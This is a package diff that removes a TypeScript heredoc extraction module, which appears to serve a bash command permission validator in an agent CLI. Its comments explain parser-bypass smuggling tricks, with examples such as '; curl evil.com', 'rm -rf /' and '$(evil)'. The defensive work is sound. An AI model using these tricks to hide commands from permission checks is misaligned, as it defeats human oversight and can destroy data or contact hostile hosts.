subagent-cli 0.3.0 → 0.3.1

package/src/utils/bash/heredoc.ts

@@ -1,733 +0,0 @@
-/**
- * Heredoc extraction and restoration utilities.
- *
- * The shell-quote library parses `<<` as two separate `<` redirect operators,
- * which breaks command splitting for heredoc syntax. This module provides
- * utilities to extract heredocs before parsing and restore them after.
- *
- * Supported heredoc variations:
- * - <<WORD      - basic heredoc
- * - <<'WORD'    - single-quoted delimiter (no variable expansion in content)
- * - <<"WORD"    - double-quoted delimiter (with variable expansion)
- * - <<-WORD     - dash prefix (strips leading tabs from content)
- * - <<-'WORD'   - combined dash and quoted delimiter
- *
- * Known limitations:
- * - Heredocs inside backtick command substitution may not be extracted
- * - Very complex multi-heredoc scenarios may not be extracted
- *
- * When extraction fails, the command passes through unchanged. This is safe
- * because the unextracted heredoc will either cause shell-quote parsing to fail
- * (falling back to treating the whole command as one unit) or require manual
- * approval for each apparent subcommand.
- *
- * @module
- */
-
-import { randomBytes } from 'crypto'
-
-const HEREDOC_PLACEHOLDER_PREFIX = '__HEREDOC_'
-const HEREDOC_PLACEHOLDER_SUFFIX = '__'
-
-/**
- * Generates a random hex string for placeholder uniqueness.
- * This prevents collision when command text literally contains "__HEREDOC_N__".
- */
-function generatePlaceholderSalt(): string {
-  // Generate 8 random bytes as hex (16 characters)
-  return randomBytes(8).toString('hex')
-}
-
-/**
- * Regex pattern for matching heredoc start syntax.
- *
- * Two alternatives handle quoted vs unquoted delimiters differently:
- *
- * Alternative 1 (quoted): (['"]) (\\?\w+) \2
- *   Captures the opening quote, then the delimiter word (which MAY include a
- *   leading backslash since it's literal inside quotes), then the closing quote.
- *   In bash, single quotes make EVERYTHING literal including backslashes:
- *     <<'\EOF' → delimiter is \EOF (with backslash)
- *     <<'EOF'  → delimiter is EOF
- *   Double quotes also preserve backslashes before non-special chars:
- *     <<"\EOF" → delimiter is \EOF
- *
- * Alternative 2 (unquoted): \\?(\w+)
- *   Optionally consumes a leading backslash (escape), then captures the word.
- *   In bash, an unquoted backslash escapes the next character:
- *     <<\EOF → delimiter is EOF (backslash consumed as escape)
- *     <<EOF  → delimiter is EOF (plain)
- *
- * SECURITY: The backslash MUST be inside the capture group for quoted
- * delimiters but OUTSIDE for unquoted ones. The old regex had \\? outside
- * the capture group unconditionally, causing <<'\EOF' to extract delimiter
- * "EOF" while bash uses "\EOF", allowing command smuggling.
- *
- * Note: Uses [ \t]* (not \s*) to avoid matching across newlines, which would be
- * a security issue (could hide commands between << and the delimiter).
- */
-const HEREDOC_START_PATTERN =
-  // eslint-disable-next-line custom-rules/no-lookbehind-regex -- gated by command.includes('<<') at extractHeredocs() entry
-  /(?<!<)<<(?!<)(-)?[ \t]*(?:(['"])(\\?\w+)\2|\\?(\w+))/
-
-export type HeredocInfo = {
-  /** The full heredoc text including << operator, delimiter, content, and closing delimiter */
-  fullText: string
-  /** The delimiter word (without quotes) */
-  delimiter: string
-  /** Start position of the << operator in the original command */
-  operatorStartIndex: number
-  /** End position of the << operator (exclusive) - content on same line after this is preserved */
-  operatorEndIndex: number
-  /** Start position of heredoc content (the newline before content) */
-  contentStartIndex: number
-  /** End position of heredoc content including closing delimiter (exclusive) */
-  contentEndIndex: number
-}
-
-export type HeredocExtractionResult = {
-  /** The command with heredocs replaced by placeholders */
-  processedCommand: string
-  /** Map of placeholder string to original heredoc info */
-  heredocs: Map<string, HeredocInfo>
-}
-
-/**
- * Extracts heredocs from a command string and replaces them with placeholders.
- *
- * This allows shell-quote to parse the command without mangling heredoc syntax.
- * After parsing, use `restoreHeredocs` to replace placeholders with original content.
- *
- * @param command - The shell command string potentially containing heredocs
- * @returns Object containing the processed command and a map of placeholders to heredoc info
- *
- * @example
- * ```ts
- * const result = extractHeredocs(`cat <<EOF
- * hello world
- * EOF`);
- * // result.processedCommand === "cat __HEREDOC_0_a1b2c3d4__" (salt varies)
- * // result.heredocs has the mapping to restore later
- * ```
- */
-export function extractHeredocs(
-  command: string,
-  options?: { quotedOnly?: boolean },
-): HeredocExtractionResult {
-  const heredocs = new Map<string, HeredocInfo>()
-
-  // Quick check: if no << present, skip processing
-  if (!command.includes('<<')) {
-    return { processedCommand: command, heredocs }
-  }
-
-  // Security: Paranoid pre-validation. Our incremental quote/comment scanner
-  // (see advanceScan below) does simplified parsing that cannot handle all
-  // bash quoting constructs. If the command contains
-  // constructs that could desync our quote tracking, bail out entirely
-  // rather than risk extracting a heredoc with incorrect boundaries.
-  // This is defense-in-depth: each construct below has caused or could
-  // cause a security bypass if we attempt extraction.
-  //
-  // Specifically, we bail if the command contains:
-  // 1. $'...' or $"..." (ANSI-C / locale quoting — our quote tracker
-  //    doesn't handle the $ prefix, would misparse the quotes)
-  // 2. Backtick command substitution (backtick nesting has complex parsing
-  //    rules, and backtick acts as shell_eof_token for PST_EOFTOKEN in
-  //    make_cmd.c:606, enabling early heredoc closure that our parser
-  //    can't replicate)
-  if (/\$['"]/.test(command)) {
-    return { processedCommand: command, heredocs }
-  }
-  // Check for backticks in the command text before the first <<.
-  // Backtick nesting has complex parsing rules, and backtick acts as
-  // shell_eof_token for PST_EOFTOKEN (make_cmd.c:606), enabling early
-  // heredoc closure that our parser can't replicate. We only check
-  // before << because backticks in heredoc body content are harmless.
-  const firstHeredocPos = command.indexOf('<<')
-  if (firstHeredocPos > 0 && command.slice(0, firstHeredocPos).includes('`')) {
-    return { processedCommand: command, heredocs }
-  }
-
-  // Security: Check for arithmetic evaluation context before the first `<<`.
-  // In bash, `(( x = 1 << 2 ))` uses `<<` as a BIT-SHIFT operator, not a
-  // heredoc. If we mis-extract it, subsequent lines become "heredoc content"
-  // and are hidden from security validators, while bash executes them as
-  // separate commands. We bail entirely if `((` appears before `<<` without
-  // a matching `))` — we can't reliably distinguish arithmetic `<<` from
-  // heredoc `<<` in that context. Note: $(( is already caught by
-  // validateDangerousPatterns, but bare (( is not.
-  if (firstHeredocPos > 0) {
-    const beforeHeredoc = command.slice(0, firstHeredocPos)
-    // Count (( and )) occurrences — if unbalanced, `<<` may be arithmetic
-    const openArith = (beforeHeredoc.match(/\(\(/g) || []).length
-    const closeArith = (beforeHeredoc.match(/\)\)/g) || []).length
-    if (openArith > closeArith) {
-      return { processedCommand: command, heredocs }
-    }
-  }
-
-  // Create a global version of the pattern for iteration
-  const heredocStartPattern = new RegExp(HEREDOC_START_PATTERN.source, 'g')
-
-  const heredocMatches: HeredocInfo[] = []
-  // Security: When quotedOnly skips an unquoted heredoc, we still need to
-  // track its content range so the nesting filter can reject quoted heredocs
-  // that appear INSIDE the skipped unquoted heredoc's body. Without this,
-  // `cat <<EOF\n<<'SAFE'\n$(evil)\nSAFE\nEOF` would extract <<'SAFE' as a
-  // top-level heredoc, hiding $(evil) from validators — even though in bash,
-  // $(evil) IS executed (unquoted <<EOF expands its body).
-  const skippedHeredocRanges: Array<{
-    contentStartIndex: number
-    contentEndIndex: number
-  }> = []
-  let match: RegExpExecArray | null
-
-  // Incremental quote/comment scanner state.
-  //
-  // The regex walks forward through the command, and match.index is monotonically
-  // increasing. Previously, isInsideQuotedString and isInsideComment each
-  // re-scanned from position 0 on every match — O(n²) when the heredoc body
-  // contains many `<<` (e.g. C++ with `std::cout << ...`). A 200-line C++
-  // heredoc hit ~3.7ms per extractHeredocs call, and Bash security validation
-  // calls extractHeredocs multiple times per command.
-  //
-  // Instead, track quote/comment/escape state incrementally and advance from
-  // the last scanned position. This preserves the OLD helpers' exact semantics:
-  //
-  //   Quote state (was isInsideQuotedString) is COMMENT-BLIND — it never sees
-  //   `#` and never skips characters for being "in a comment". Inside single
-  //   quotes, everything is literal. Inside double quotes, backslash escapes
-  //   the next char. An unquoted backslash run of odd length escapes the next
-  //   char.
-  //
-  //   Comment state (was isInsideComment) observes quote state (# inside quotes
-  //   is not a comment) but NOT the reverse. The old helper used a per-call
-  //   `lineStart = lastIndexOf('\n', pos-1)+1` bound on which `#` to consider;
-  //   equivalently, any physical `\n` clears comment state — including `\n`
-  //   inside quotes (since lastIndexOf was quote-blind).
-  //
-  // SECURITY: Do NOT let comment mode suppress quote-state updates. If `#` put
-  // the scanner in a mode that skipped quote chars, then `echo x#"\n<<...`
-  // (where bash treats `#` as part of the word `x#`, NOT a comment) would
-  // report the `<<` as unquoted and EXTRACT it — hiding content from security
-  // validators. The old isInsideQuotedString was comment-blind; we preserve
-  // that. Both old and new over-eagerly treat any unquoted `#` as a comment
-  // (bash requires word-start), but since quote tracking is independent, the
-  // over-eagerness only affects the comment check — causing SKIPS (safe
-  // direction), never extra EXTRACTIONS.
-  let scanPos = 0
-  let scanInSingleQuote = false
-  let scanInDoubleQuote = false
-  let scanInComment = false
-  // Inside "...": true if the previous char was a backslash (next char is escaped).
-  // Carried across advanceScan calls so a `\` at scanPos-1 correctly escapes
-  // the char at scanPos.
-  let scanDqEscapeNext = false
-  // Unquoted context: length of the consecutive backslash run ending at scanPos-1.
-  // Used to determine if the char at scanPos is escaped (odd run = escaped).
-  let scanPendingBackslashes = 0
-
-  const advanceScan = (target: number): void => {
-    for (let i = scanPos; i < target; i++) {
-      const ch = command[i]!
-
-      // Any physical newline clears comment state. The old isInsideComment
-      // used `lineStart = lastIndexOf('\n', pos-1)+1` (quote-blind), so a
-      // `\n` inside quotes still advanced lineStart. Match that here by
-      // clearing BEFORE the quote branches.
-      if (ch === '\n') scanInComment = false
-
-      if (scanInSingleQuote) {
-        if (ch === "'") scanInSingleQuote = false
-        continue
-      }
-
-      if (scanInDoubleQuote) {
-        if (scanDqEscapeNext) {
-          scanDqEscapeNext = false
-          continue
-        }
-        if (ch === '\\') {
-          scanDqEscapeNext = true
-          continue
-        }
-        if (ch === '"') scanInDoubleQuote = false
-        continue
-      }
-
-      // Unquoted context. Quote tracking is COMMENT-BLIND (same as the old
-      // isInsideQuotedString): we do NOT skip chars for being inside a
-      // comment. Only the `#` detection itself is gated on not-in-comment.
-      if (ch === '\\') {
-        scanPendingBackslashes++
-        continue
-      }
-      const escaped = scanPendingBackslashes % 2 === 1
-      scanPendingBackslashes = 0
-      if (escaped) continue
-
-      if (ch === "'") scanInSingleQuote = true
-      else if (ch === '"') scanInDoubleQuote = true
-      else if (!scanInComment && ch === '#') scanInComment = true
-    }
-    scanPos = target
-  }
-
-  while ((match = heredocStartPattern.exec(command)) !== null) {
-    const startIndex = match.index
-
-    // Advance the incremental scanner to this match's position. After this,
-    // scanInSingleQuote/scanInDoubleQuote/scanInComment reflect the parser
-    // state immediately BEFORE startIndex, and scanPendingBackslashes is the
-    // count of unquoted `\` immediately preceding startIndex.
-    advanceScan(startIndex)
-
-    // Skip if this << is inside a quoted string (not a real heredoc operator).
-    if (scanInSingleQuote || scanInDoubleQuote) {
-      continue
-    }
-
-    // Security: Skip if this << is inside a comment (after unquoted #).
-    // In bash, `# <<EOF` is a comment — extracting it would hide commands on
-    // subsequent lines as "heredoc content" while bash executes them.
-    if (scanInComment) {
-      continue
-    }
-
-    // Security: Skip if this << is preceded by an odd number of backslashes.
-    // In bash, `\<<EOF` is NOT a heredoc — `\<` is a literal `<`, then `<EOF`
-    // is input redirection. Extracting it would drop same-line commands from
-    // security checks. The scanner tracks the unquoted backslash run ending
-    // immediately before startIndex (scanPendingBackslashes).
-    if (scanPendingBackslashes % 2 === 1) {
-      continue
-    }
-
-    // Security: Bail if this `<<` falls inside the body of a previously
-    // SKIPPED heredoc (unquoted heredoc in quotedOnly mode). In bash,
-    // `<<` inside a heredoc body is just text — it's not a nested heredoc
-    // operator. Extracting it would hide content that bash actually expands.
-    let insideSkipped = false
-    for (const skipped of skippedHeredocRanges) {
-      if (
-        startIndex > skipped.contentStartIndex &&
-        startIndex < skipped.contentEndIndex
-      ) {
-        insideSkipped = true
-        break
-      }
-    }
-    if (insideSkipped) {
-      continue
-    }
-
-    const fullMatch = match[0]
-    const isDash = match[1] === '-'
-    // Group 3 = quoted delimiter (may include backslash), group 4 = unquoted
-    const delimiter = (match[3] || match[4])!
-    const operatorEndIndex = startIndex + fullMatch.length
-
-    // Security: Two checks to verify our regex captured the full delimiter word.
-    // Any mismatch between our parsed delimiter and bash's actual delimiter
-    // could allow command smuggling past permission checks.
-
-    // Check 1: If a quote was captured (group 2), verify the closing quote
-    // was actually matched by \2 in the regex (the quoted alternative requires
-    // the closing quote). The regex's \w+ only matches [a-zA-Z0-9_], so
-    // non-word chars inside quotes (spaces, hyphens, dots) cause \w+ to stop
-    // early, leaving the closing quote unmatched.
-    // Example: <<"EO F" — regex captures "EO", misses closing ", delimiter
-    // should be "EO F" but we'd use "EO". Skip to prevent mismatch.
-    const quoteChar = match[2]
-    if (quoteChar && command[operatorEndIndex - 1] !== quoteChar) {
-      continue
-    }
-
-    // Security: Determine if the delimiter is quoted ('EOF', "EOF") or
-    // escaped (\EOF). In bash, quoted/escaped delimiters suppress all
-    // expansion in the heredoc body — content is literal text. Unquoted
-    // delimiters (<<EOF) perform full shell expansion: $(), backticks,
-    // and ${} in the body ARE executed. When quotedOnly is set, skip
-    // unquoted heredocs so their bodies remain visible to security
-    // validators (they may contain executable command substitutions).
-    const isEscapedDelimiter = fullMatch.includes('\\')
-    const isQuotedOrEscaped = !!quoteChar || isEscapedDelimiter
-    // Note: We do NOT skip unquoted heredocs here anymore when quotedOnly is
-    // set. Instead, we compute their content range and add them to
-    // skippedHeredocRanges, then skip them AFTER finding the closing
-    // delimiter. This lets the nesting filter correctly reject quoted
-    // "heredocs" that appear inside unquoted heredoc bodies.
-
-    // Check 2: Verify the next character after our match is a bash word
-    // terminator (metacharacter or end of string). Characters like word chars,
-    // quotes, $, \ mean the bash word extends beyond our match
-    // (e.g., <<'EOF'a where bash uses "EOFa" but we captured "EOF").
-    // IMPORTANT: Only match bash's actual metacharacters — space (0x20),
-    // tab (0x09), newline (0x0A), |, &, ;, (, ), <, >. Do NOT use \s which
-    // also matches \r, \f, \v, and Unicode whitespace that bash treats as
-    // regular word characters, not terminators.
-    if (operatorEndIndex < command.length) {
-      const nextChar = command[operatorEndIndex]!
-      if (!/^[ \t\n|&;()<>]$/.test(nextChar)) {
-        continue
-      }
-    }
-
-    // In bash, heredoc content starts on the NEXT LINE after the operator.
-    // Any content on the same line after <<EOF (like " && echo done") is part
-    // of the command, not the heredoc content.
-    //
-    // SECURITY: The "same line" must be the LOGICAL command line, not the
-    // first physical newline. Multi-line quoted strings extend the logical
-    // line — bash waits for the quote to close before starting to read the
-    // heredoc body. A quote-blind `indexOf('\n')` finds newlines INSIDE
-    // quoted strings, causing the body to start too early.
-    //
-    // Exploit: `echo <<'EOF' '${}\n' ; curl evil.com\nEOF`
-    //   - The `\n` inside `'${}\n'` is quoted (literal newline in a string arg)
-    //   - Bash: waits for `'` to close → logical line is
-    //     `echo <<'EOF' '${}\n' ; curl evil.com` → heredoc body = `EOF`
-    //   - Our old code: indexOf('\n') finds the quoted newline → body starts
-    //     at `' ; curl evil.com\nEOF` → curl swallowed into placeholder →
-    //     NEVER reaches permission checks.
-    //
-    // Fix: scan forward from operatorEndIndex using quote-state tracking,
-    // finding the first newline that's NOT inside a quoted string. Same
-    // quote-tracking semantics as advanceScan (already used to validate
-    // the `<<` operator position above).
-    let firstNewlineOffset = -1
-    {
-      let inSingleQuote = false
-      let inDoubleQuote = false
-      // We start with clean quote state — advanceScan already rejected the
-      // case where the `<<` operator itself is inside a quote.
-      for (let k = operatorEndIndex; k < command.length; k++) {
-        const ch = command[k]
-        if (inSingleQuote) {
-          if (ch === "'") inSingleQuote = false
-          continue
-        }
-        if (inDoubleQuote) {
-          if (ch === '\\') {
-            k++ // skip escaped char inside double quotes
-            continue
-          }
-          if (ch === '"') inDoubleQuote = false
-          continue
-        }
-        // Unquoted context
-        if (ch === '\n') {
-          firstNewlineOffset = k - operatorEndIndex
-          break
-        }
-        // Count backslashes for escape detection in unquoted context
-        let backslashCount = 0
-        for (let j = k - 1; j >= operatorEndIndex && command[j] === '\\'; j--) {
-          backslashCount++
-        }
-        if (backslashCount % 2 === 1) continue // escaped char
-        if (ch === "'") inSingleQuote = true
-        else if (ch === '"') inDoubleQuote = true
-      }
-      // If we ended while still inside a quote, the logical line never ends —
-      // there is no heredoc body. Leave firstNewlineOffset as -1 (handled below).
-    }
-
-    // If no unquoted newline found, this heredoc has no content - skip it
-    if (firstNewlineOffset === -1) {
-      continue
-    }
-
-    // Security: Check for backslash-newline continuation at the end of the
-    // same-line content (text between the operator and the newline). In bash,
-    // `\<newline>` joins lines BEFORE heredoc parsing — so:
-    //   cat <<'EOF' && \
-    //   rm -rf /
-    //   content
-    //   EOF
-    // bash joins to `cat <<'EOF' && rm -rf /` (rm is part of the command line),
-    // then heredoc body = `content`. Our extractor runs BEFORE continuation
-    // joining (commands.ts:82), so it would put `rm -rf /` in the heredoc body,
-    // hiding it from all validators. Bail if same-line content ends with an
-    // odd number of backslashes.
-    const sameLineContent = command.slice(
-      operatorEndIndex,
-      operatorEndIndex + firstNewlineOffset,
-    )
-    let trailingBackslashes = 0
-    for (let j = sameLineContent.length - 1; j >= 0; j--) {
-      if (sameLineContent[j] === '\\') {
-        trailingBackslashes++
-      } else {
-        break
-      }
-    }
-    if (trailingBackslashes % 2 === 1) {
-      // Odd number of trailing backslashes → last one escapes the newline
-      // → this is a line continuation. Our heredoc-before-continuation order
-      // would misparse this. Bail out.
-      continue
-    }
-
-    const contentStartIndex = operatorEndIndex + firstNewlineOffset
-    const afterNewline = command.slice(contentStartIndex + 1) // +1 to skip the newline itself
-    const contentLines = afterNewline.split('\n')
-
-    // Find the closing delimiter - must be on its own line
-    // Security: Must match bash's exact behavior to prevent parsing discrepancies
-    // that could allow command smuggling past permission checks.
-    let closingLineIndex = -1
-    for (let i = 0; i < contentLines.length; i++) {
-      const line = contentLines[i]!
-
-      if (isDash) {
-        // <<- strips leading TABS only (not spaces), per POSIX/bash spec.
-        // The line after stripping leading tabs must be exactly the delimiter.
-        const stripped = line.replace(/^\t*/, '')
-        if (stripped === delimiter) {
-          closingLineIndex = i
-          break
-        }
-      } else {
-        // << requires the closing delimiter to be exactly alone on the line
-        // with NO leading or trailing whitespace. This matches bash behavior.
-        if (line === delimiter) {
-          closingLineIndex = i
-          break
-        }
-      }
-
-      // Security: Check for PST_EOFTOKEN-like early closure (make_cmd.c:606).
-      // Inside $(), ${}, or backtick substitution, bash closes a heredoc when
-      // a line STARTS with the delimiter and contains the shell_eof_token
-      // (`)`, `}`, or backtick) anywhere after it. Our parser only does exact
-      // line matching, so this discrepancy could hide smuggled commands.
-      //
-      // Paranoid extension: also bail on bash metacharacters (|, &, ;, (, <,
-      // >) after the delimiter, which could indicate command syntax from a
-      // parsing discrepancy we haven't identified.
-      //
-      // For <<- heredocs, bash strips leading tabs before this check.
-      const eofCheckLine = isDash ? line.replace(/^\t*/, '') : line
-      if (
-        eofCheckLine.length > delimiter.length &&
-        eofCheckLine.startsWith(delimiter)
-      ) {
-        const charAfterDelimiter = eofCheckLine[delimiter.length]!
-        if (/^[)}`|&;(<>]$/.test(charAfterDelimiter)) {
-          // Shell metacharacter or substitution closer after delimiter —
-          // bash may close the heredoc early here. Bail out.
-          closingLineIndex = -1
-          break
-        }
-      }
-    }
-
-    // Security: If quotedOnly mode is set and this is an unquoted heredoc,
-    // record its content range for nesting checks but do NOT add it to
-    // heredocMatches. This ensures quoted "heredocs" inside its body are
-    // correctly rejected by the insideSkipped check on subsequent iterations.
-    //
-    // CRITICAL: We do this BEFORE the closingLineIndex === -1 check. If the
-    // unquoted heredoc has no closing delimiter, bash still treats everything
-    // to end-of-input as the heredoc body (and expands $() within it). We
-    // must block extraction of any subsequent quoted "heredoc" that falls
-    // inside that unbounded body.
-    if (options?.quotedOnly && !isQuotedOrEscaped) {
-      let skipContentEndIndex: number
-      if (closingLineIndex === -1) {
-        // No closing delimiter — in bash, heredoc body extends to end of
-        // input. Track the entire remaining range as "skipped body".
-        skipContentEndIndex = command.length
-      } else {
-        const skipLinesUpToClosing = contentLines.slice(0, closingLineIndex + 1)
-        const skipContentLength = skipLinesUpToClosing.join('\n').length
-        skipContentEndIndex = contentStartIndex + 1 + skipContentLength
-      }
-      skippedHeredocRanges.push({
-        contentStartIndex,
-        contentEndIndex: skipContentEndIndex,
-      })
-      continue
-    }
-
-    // If no closing delimiter found, this is malformed - skip it
-    if (closingLineIndex === -1) {
-      continue
-    }
-
-    // Calculate end position: contentStartIndex + 1 (newline) + length of lines up to and including closing delimiter
-    const linesUpToClosing = contentLines.slice(0, closingLineIndex + 1)
-    const contentLength = linesUpToClosing.join('\n').length
-    const contentEndIndex = contentStartIndex + 1 + contentLength
-
-    // Security: Bail if this heredoc's content range OVERLAPS with any
-    // previously-skipped heredoc's content range. This catches the case where
-    // two heredocs share a command line (`cat <<EOF <<'SAFE'`) and the first
-    // is unquoted (skipped in quotedOnly mode). In bash, when multiple heredocs
-    // share a line, their bodies appear SEQUENTIALLY (first's body, then
-    // second's). Both compute contentStartIndex from the SAME newline, so the
-    // second's body search walks through the first's body. For:
-    //   cat <<EOF <<'SAFE'
-    //   $(evil_command)
-    //   EOF
-    //   safe body
-    //   SAFE
-    // ...the quoted <<'SAFE' would incorrectly extract lines 2-4 as its body,
-    // swallowing `$(evil_command)` (which bash EXECUTES via the unquoted
-    // <<EOF's expansion) into the placeholder, hiding it from validators.
-    //
-    // The insideSkipped check above doesn't catch this because the quoted
-    // operator's startIndex is on the command line BEFORE contentStart.
-    // The contentStartPositions dedup check below doesn't catch it because the
-    // skipped heredoc is in skippedHeredocRanges, not topLevelHeredocs.
-    let overlapsSkipped = false
-    for (const skipped of skippedHeredocRanges) {
-      // Ranges [a,b) and [c,d) overlap iff a < d && c < b
-      if (
-        contentStartIndex < skipped.contentEndIndex &&
-        skipped.contentStartIndex < contentEndIndex
-      ) {
-        overlapsSkipped = true
-        break
-      }
-    }
-    if (overlapsSkipped) {
-      continue
-    }
-
-    // Build fullText: operator + newline + content (normalized form for restoration)
-    // This creates a clean heredoc that can be restored correctly
-    const operatorText = command.slice(startIndex, operatorEndIndex)
-    const contentText = command.slice(contentStartIndex, contentEndIndex)
-    const fullText = operatorText + contentText
-
-    heredocMatches.push({
-      fullText,
-      delimiter,
-      operatorStartIndex: startIndex,
-      operatorEndIndex,
-      contentStartIndex,
-      contentEndIndex,
-    })
-  }
-
-  // If no valid heredocs found, return original
-  if (heredocMatches.length === 0) {
-    return { processedCommand: command, heredocs }
-  }
-
-  // Filter out nested heredocs - any heredoc whose operator starts inside
-  // another heredoc's content range should be excluded.
-  // This prevents corruption when heredoc content contains << patterns.
-  const topLevelHeredocs = heredocMatches.filter((candidate, _i, all) => {
-    // Check if this candidate's operator is inside any other heredoc's content
-    for (const other of all) {
-      if (candidate === other) continue
-      // Check if candidate's operator starts within other's content range
-      if (
-        candidate.operatorStartIndex > other.contentStartIndex &&
-        candidate.operatorStartIndex < other.contentEndIndex
-      ) {
-        // This heredoc is nested inside another - filter it out
-        return false
-      }
-    }
-    return true
-  })
-
-  // If filtering removed all heredocs, return original
-  if (topLevelHeredocs.length === 0) {
-    return { processedCommand: command, heredocs }
-  }
-
-  // Check for multiple heredocs sharing the same content start position
-  // (i.e., on the same line). This causes index corruption during replacement
-  // because indices are calculated on the original string but applied to
-  // a progressively modified string. Return without extraction - the fallback
-  // is safe (requires manual approval or fails parsing).
-  const contentStartPositions = new Set(
-    topLevelHeredocs.map(h => h.contentStartIndex),
-  )
-  if (contentStartPositions.size < topLevelHeredocs.length) {
-    return { processedCommand: command, heredocs }
-  }
-
-  // Sort by content end position descending so we can replace from end to start
-  // (this preserves indices for earlier replacements)
-  topLevelHeredocs.sort((a, b) => b.contentEndIndex - a.contentEndIndex)
-
-  // Generate a unique salt for this extraction to prevent placeholder collisions
-  // with literal "__HEREDOC_N__" text in commands
-  const salt = generatePlaceholderSalt()
-
-  let processedCommand = command
-  topLevelHeredocs.forEach((info, index) => {
-    // Use reverse index since we sorted descending
-    const placeholderIndex = topLevelHeredocs.length - 1 - index
-    const placeholder = `${HEREDOC_PLACEHOLDER_PREFIX}${placeholderIndex}_${salt}${HEREDOC_PLACEHOLDER_SUFFIX}`
-
-    heredocs.set(placeholder, info)
-
-    // Replace heredoc with placeholder while preserving same-line content:
-    // - Keep everything before the operator
-    // - Replace operator with placeholder
-    // - Keep content between operator and heredoc content (e.g., " && echo done")
-    // - Remove the heredoc content (from newline through closing delimiter)
-    // - Keep everything after the closing delimiter
-    processedCommand =
-      processedCommand.slice(0, info.operatorStartIndex) +
-      placeholder +
-      processedCommand.slice(info.operatorEndIndex, info.contentStartIndex) +
-      processedCommand.slice(info.contentEndIndex)
-  })
-
-  return { processedCommand, heredocs }
-}
-
-/**
- * Restores heredoc placeholders back to their original content in a single string.
- * Internal helper used by restoreHeredocs.
- */
-function restoreHeredocsInString(
-  text: string,
-  heredocs: Map<string, HeredocInfo>,
-): string {
-  let result = text
-  for (const [placeholder, info] of heredocs) {
-    result = result.replaceAll(placeholder, info.fullText)
-  }
-  return result
-}
-
-/**
- * Restores heredoc placeholders in an array of strings.
- *
- * @param parts - Array of strings that may contain heredoc placeholders
- * @param heredocs - The map of placeholders from `extractHeredocs`
- * @returns New array with placeholders replaced by original heredoc content
- */
-export function restoreHeredocs(
-  parts: string[],
-  heredocs: Map<string, HeredocInfo>,
-): string[] {
-  if (heredocs.size === 0) {
-    return parts
-  }
-
-  return parts.map(part => restoreHeredocsInString(part, heredocs))
-}
-
-/**
- * Checks if a command contains heredoc syntax.
- *
- * This is a quick check that doesn't validate the heredoc is well-formed,
- * just that the pattern exists.
- *
- * @param command - The shell command string
- * @returns true if the command appears to contain heredoc syntax
- */
-export function containsHeredoc(command: string): boolean {
-  return HEREDOC_START_PATTERN.test(command)
-}